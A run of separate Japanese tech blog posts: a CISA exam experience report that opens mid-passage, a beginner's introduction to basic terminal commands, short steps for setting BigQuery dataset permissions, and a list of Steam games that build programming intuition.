ISACAの公式問題集があまりにもぶっとくてでかいので、通勤時間に解くのはしんどいと判断し、通勤時間はUdemyの問題集を解いていました。
この時間は正直要らなかったです。
公式問題集に集中した方が良いです。

# 試験当日
**私は情報システム監査人だ！！** と自分自身に暗示を掛けて試験に挑みました。
今私は監査を受ける側として働いてるので、監査をする側の視点で考えて正解を導き出すことを意識していました。

また、事前の説明で途中退出をしてトイレに行けることが分かり、安心して試験に望むことが出来ました。

試験自体は1時間で全部解き終わり、のんびりもう1時間を使って解き直しをしていました。

9割は根拠を持って正解を導き出せたので、ある程度の自信を持って回答を終了しました。
アンケートを回答後、最終画面にて合格の文字があり嬉しかったです。

結果は10日後メールで届くらしいので、不合格と見間違えてないかちょっぴり不安です笑

**追記（2024/7/12）**
2024/7/11 23時54分にメールにて正式な結果が届きました。
564点で無事合格してたのでよかったです。（全ドメイン599点ってなんでなんでしょう笑）
![IMG_3201.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3803960/a177180f-f2c4-9f29-8fb8-de30c0e0ba20.jpeg)

**追記（2024/8/30）**
2024/7/26
バグで各ドメインのスコアが間違えていたとのメールが届き、正式なスコアが判明しました。
![IMG_3331.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3803960/442f140e-7a15-49f3-757f-8a6a35ffaf33.jpeg)
合格点以下のドメインがあったのは不覚でした。

# 感想
IT経験がなく、監査経験のみの場合は少し難しいかもしれないと思いました。
IT業界で既に働いている方は、公式問題集を勉強すればそこまで苦労せずに合格できると思います。

試験勉強を通して新しい知識を沢山得られたので楽しかったです。

# さいごに
最後まで読んでいただきありがとうございました。
**とても楽しい試験なので是非皆さん受験してみてください！！**
**合格してCISA仲間になりましょう！！**
バックエンド開発入門「コマンド」

#### バックエンド開発入門

サーバーとデータベースの基礎
これから作成するページは動的なページです。
サーバーがリクエストを受け取り、処理を行った結果としてHTML、CSS、JavaScriptをレスポンスとして返します。そのレスポンスをブラウザが受け取り、内容を描画するという流れです。
このプロセスを理解することで、動的なWebアプリケーションを開発できるようになります。

## 目次：

- [ターミナルの使用方法](#ターミナルの使用方法)
- [基本コマンド](#基本コマンド)
- [まとめ](#まとめ)

## ターミナルの使用方法

ターミナルは、テキストベースでPCとやり取りするツールです。
ターミナルを使うことで、GUIよりも効率的に開発が可能になります。
また、普段は見えない領域にアクセスしたり、サーバーの管理、動いているプロセスの停止、設定ファイルの操作など、さまざまな作業ができます。

多くの開発ツールはターミナルから操作する必要があるため、ターミナルの使用に慣れることは重要です。

#### 紛らわしい用語

ターミナル: コンピュータを操作するためのテキストベースなインターフェースです。昔は物理的な端末でしたが、現在ではターミナルソフトを使用するのが一般的です。

シェル: ユーザーからの入力を受け取り、コマンドを実行するプログラムの一種です。ターミナル上で動作し、ユーザーとオペレーティングシステムの橋渡しをします。

BASH: 広く使われているシェルの一種で、以前はMacの標準シェルでした。現在でも多くのLinuxシステムで使用されています。


## 基本コマンド

ls: 
現在のディレクトリ内のファイル一覧を表示します。ファイルやディレクトリの名前、サイズ、作成日などを確認できます。

pwd: 
自分が今いるディレクトリのパスを表示します。現在の作業ディレクトリを確認するために使用します。

cd: 
ディレクトリを移動します。例えば、cd ..で一つ上のディレクトリに移動できます。

clear: 
ターミナルの表示をクリアします。Macではコマンド+Kでもクリアできます。

mkdir: 
新しいディレクトリを作成します。スペース区切りで複数のディレクトリを同時に作成することも可能です。

touch: 
空のファイルを作成します。複数のファイルを同時に作成することも可能です。既存のファイルの場合はアクセス日時と更新日時を変更します。

rm: 
ファイルを削除します。削除したファイルは元に戻せないため注意が必要です。


rmdir: 
空のディレクトリを削除します。中身のあるディレクトリを削除するには、rm -rfコマンドを使用します。

#### パスの指定

絶対パス: 
ルートディレクトリから始まる完全なパスです。
どこからでも使用できるため、確実にファイルやディレクトリを指定できます。

相対パス: 
現在のディレクトリを基準としたパスです。ディレクトリを移動するたびにパスが変わるため注意が必要です。

#### manコマンド

manコマンドを使用すると、指定したコマンドのマニュアルを表示できます。例えば、man lsと入力すると、lsコマンドの詳細な使い方が表示されます。また、コマンドにフラグを渡すことで、コマンドの動作を変更することができます。例えば、ls -lと入力すると、ファイルの詳細情報をリスト形式で表示します。

## まとめ
ターミナルを使うことで、効率的な開発が可能になります。基本的なコマンドを理解し、正しく使うことで、サーバーの管理やファイル操作がスムーズに行えます。また、ターミナルの知識はバックエンド開発において非常に重要ですので、しっかりと身につけておきましょう。
BigQuery周りの権限

# BigQuery権限

#A. 特定のテーブルの権限制御：ビューを設定してビューに対する権限制御
#B. テーブルの中の行単位の権限制御：Authorized Viewsで権限制御



### A-1. IAMポリシーの設定:(IAMの編集権限がある人向け）

Google Cloud Consoleでプロジェクトを開きます。
左側のナビゲーションメニューから「IAM & 管理」を選択し、「IAM」をクリックします。
「+ メンバーを追加」をクリックし、特定のユーザーのメールアドレスを入力します。
「役割の選択」をクリックし、「BigQuery」で「BigQuery Data Viewer」を選択します。
「保存」をクリックして設定を完了します。
データセットレベルでのアクセス権の設定:

### A-2. BigQueryコンソールで対象のデータセットを選択（IAMの編集権限がない人向け）
「詳細」タブで「アクセス権」セクションを見つけます。
「プリンシパルを追加」をクリックし、特定のユーザーのメールアドレスを入力します。
「役割」で「BigQuery Data Viewer」を選択し、「保存」をクリックします。
Steamのサマーセールに寄せて：プログラミング学習の理解の役に立ちそうなゲーム

今日も今日とてSteamでサマーセールが行われている。

# Steamとは

SteamとはＰＣゲーム配信プラットフォームだ。
何か欲しいゲームがあって登録するとあまりの値引き額にそのあとゲームを買い続けることになった。
そんな人間も多いことだろう。

- セールが、安い
セールの時は本当に安い。8割9割の値引きがされてる時がある。
ものによっては、ガムかなんかか？　みたいな値段でゲームが買える。
- 無料ゲームもある
無料ゲームもある。
- 遊べなかった場合一定時間の奴なら返品できる
これは、PCスペックが足りなくて遊べなかったり、画面酔いがひどすぎて遊べなかった、などの時に便利。あと買ってみたけど日本語なかったとかね。
- インディーズゲームが豊富
いちはやい。
よさげなものはウィッシュリストに入れて応援しよう。
- サントラや設定資料集付きがおすすめ
「これにはまるな」と思ったらDLCとして買ってしまうと通勤・通学のお供になる。

ほか、パッチが当たるのは早いしMODを入れたりと良いことがある。たまに寝っ転がってやりたくてSwitch版を買ったりもするけれどもね（その気があるなら、Steam Deckという携帯機があるぞ）。

これとたまに無料でゲームの配信があるEpicGamesがおすすめである。

以下、プログラマ的に面白かったゲームの紹介である。

## Human Resource Machine
https://store.steampowered.com/app/375820/Human_Resource_Machine/?l=japanese

ド直球ノーコードプログラミングゲーム。
まあ本職だしな、と舐めてかかったら大変な目にあった。
かなり奥が深く、手ごたえがある。
短い行数できれいにかけたらスコアが高い。

Switch版があるので、そっちのほうは小さいお子さんにも手に取りやすい。
ややブラックユーモアがある。

## 7 Billion Humans

https://store.steampowered.com/app/792100/7_Billion_Humans/?l=japanese

ヒューマン・リソース・マシーンの続編。
こんどは何人もの社員をいっせいに操れるようになっている。

こちらもSwitch版があるので、小さいお子さんにも手に取りやすい。

## Hacknet

https://store.steampowered.com/app/365450/Hacknet/?l=japanese

これはハッカーになって、ハッキングするゲーム。
セールのときは超安い。
スニッカーズ分くらいの値段である。

問題はあまり日本語に向いていなくって、なんか、ゲーム内で要求されるフォルダのパスががおかしかったりした。打てなくてできないクエストがあったのだ。直っているかなあ。

ほかのゲームは「プログラミング的思考を使うし、楽しかった」というものが多いのだけれどこれだけは実務で役に立った。コンソールコマンドと、フォルダの移動の慣れである。

まあ、もちろん、やってなかったらやってなかったなりに覚えたんだろうけどもね……。

# 番外（言い張ればプログラミング・ゲーム）

## Minecraft(Steamゲーではない)
Steamゲーではないが、Minecraftにも触れておく。
ご存じブロックを組み合わせて家を建築したりネザーに行ってドラゴン倒したり、である。
これが結構侮れない。

やろうと思えばレッドストーン回路で論理回路を構築できるほか、MODを入れたり、独自でサーバーを立てたり、「ゲームをやりたい！」という欲望でちびっこがいじってたらいつのまにか、というやつである。
MODを作る場合、Javaを触ることになる。

Minecraftには教育版（Education）がある。

https://education.minecraft.net/ja-jp

実に教育的なゲームなんである。

とはいえ100時間近くプレイしても拠点でうろちょろしているのが好きな人間は何も学ばないし、Minecraftを与えたからといって天才にもならないだろうし、単に遊ぶだけの人間のほうが大多数だろう。たまにすごい人が生まれる。

### ここからはSteamゲーに戻る。

## Terraria

https://store.steampowered.com/app/105600/Terraria/?l=japanese

２DのMinecraftといったものではあるが、それ以上に独自に進化している。
プレイ時間を考えると、PC版は異様に安い。
こちらもレッドストーン回路のようなものがあるので、プログラミング的なことをやりたい人間はコツコツ遊んでいけるだろう。
あと日本語非対応の面白いゲームはね、いいんだ。
非公式の日本語MODを入れるのが、パソコン操作の第一歩だったりする（技術が追い付かず、MODを入れられず、無理やり英語を覚えていくのもまたプログラマーへの道である）。

## BABA IS YOU

https://store.steampowered.com/app/736260/Baba_Is_You/?l=japanese

論理パズルゲームである。
ゲームのルールをハックして破壊する楽しさがある。
あとBABAはかわいい。

## (番外)Fallout

https://store.steampowered.com/app/377160/Fallout_4/?l=japanese

まったくプログラミングゲームではない。
（それっぽいハッキングは存在する）。
しかし、これでコンソールコマンドへの恐怖が消えうせた。しょっちゅうバグるのでコンソールを開いていなくなるNPC呼び寄せたりとかしなくちゃならんのだ。

必要に迫られたとき、ゲーマーはほんのちょっとプログラマーになる。

# まとめ
ゲームでプログラミングを学んだことがあるかといわれると「ない」。ないのだがこの業界（IT系）に入ったのはゲームの影響が大きい。パソコンを持っていたのはゲームがやりたかったからで、とにかくゲームがやりたかった。そのゲーム機がいろんなことできるやつだったので、たまたまだ。

ド直球で人生が変わったわけじゃないし、そして、ゲームプログラマでもないのだが、水道から流れ出る水に静電気を帯びたストローを近づけたくらいは進路が変わったもんである。